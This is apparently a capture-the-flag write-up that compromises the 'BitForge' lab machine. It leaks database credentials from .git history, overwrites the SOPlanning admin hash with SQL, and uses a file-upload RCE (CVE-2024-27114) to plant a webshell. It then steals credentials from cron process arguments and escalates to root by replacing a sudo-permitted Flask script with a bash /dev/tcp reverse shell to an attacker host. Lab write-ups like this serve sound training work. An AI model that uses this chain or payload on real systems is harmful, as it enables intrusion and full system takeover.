BitForge Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 3 min read
BitForge's web site leaks hardcoded database credentials through an exposed .git history. Those credentials reset SOPlanning's admin password hash to a known value, unlocking an authenticated file-upload RCE (CVE-2024-27114) for a www-data shell. A cron job that leaks credentials in its process arguments gives lateral movement to jack, and a writable sudo-permitted Flask script finishes the job as root.
Reconnaissance
Nmap
Scan the target.
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http Apache httpd - BitForge Solutions website 3306/tcp open mysql MySQL 8.0.40
Add the application's virtual hosts to /etc/hosts.
Web enumeration
Brute force directories.
/.git/HEAD (Status: 200) # exposed git repository /index.php (Status: 200) /static/ (Status: 301)
Exploitation
Git repository credential leak
Dump the exposed repository and walk its history.
1ce700a (HEAD -> main) created .env to store the database configuration eaf6c81 removing db-config due to hard coded credentials 18833b8 added the database configuration f4f6de6 setting up login and index page for the BitForge website
The removed commit still holds the database config.
$dbHost = 'localhost'; $dbName = 'bitforge_customer_db'; $username = 'BitForgeAdmin'; $password = '$BITFORGEADMIN_PASSWORD';
SOPlanning admin hash reset
Connect to MariaDB with the recovered credentials and inspect SOPlanning's database.
MariaDB [(none)]> SHOW DATABASES; MariaDB [(none)]> USE soplanning; MariaDB [soplanning]> SELECT * FROM planning_user;
Explain command
| --skip-ssl | Bypass the self-signed certificate on remote TLS. |
Rather than cracking the admin hash, overwrite it with the known SHA-1 hash of admin, SOPlanning's default demo password.
UPDATE planning_user SET password='df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id='ADM';
SOPlanning file-upload RCE (CVE-2024-27114)
Log in at http://plan.bitforge.lab with admin:admin and run the authenticated file-upload exploit.
Webshell uploaded: http://plan.bitforge.lab/www/upload/files/ru56jq/gk2.php?cmd=<command>
Start a listener and trigger a reverse shell through the webshell.
The listener catches a shell as www-data. Stabilize it.
Privilege Escalation
Lateral movement via a leaky cron job
A cron job runs a MySQL backup whose credentials are visible in the process arguments.
jack mysqldump -u jack -p$JACK_PASSWORD
jack@bitforge:~$ id uid=1001(jack) gid=1001(jack) groups=1001(jack)
Writable sudo Flask application
Check sudo permissions.
(root) NOPASSWD: /usr/bin/flask_password_changer
drwxr-xr-x 3 jack jack 4096 Jan 16 2025 . -rw-r--r-- 1 jack jack 134 Jan 16 2025 app.py drwxr-xr-x 2 jack jack 4096 Jan 16 2025 templates
The app directory and app.py are owned by jack, so replace the script with a reverse shell payload.
import os
os.system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'")
The sudo-permitted script runs the payload as root.
uid=0(root) gid=0(root) groups=0(root)
Related
References
-
SOPlanning authenticated arbitrary file upload leading to remote code execution.
-
SOPlanning file upload exploit.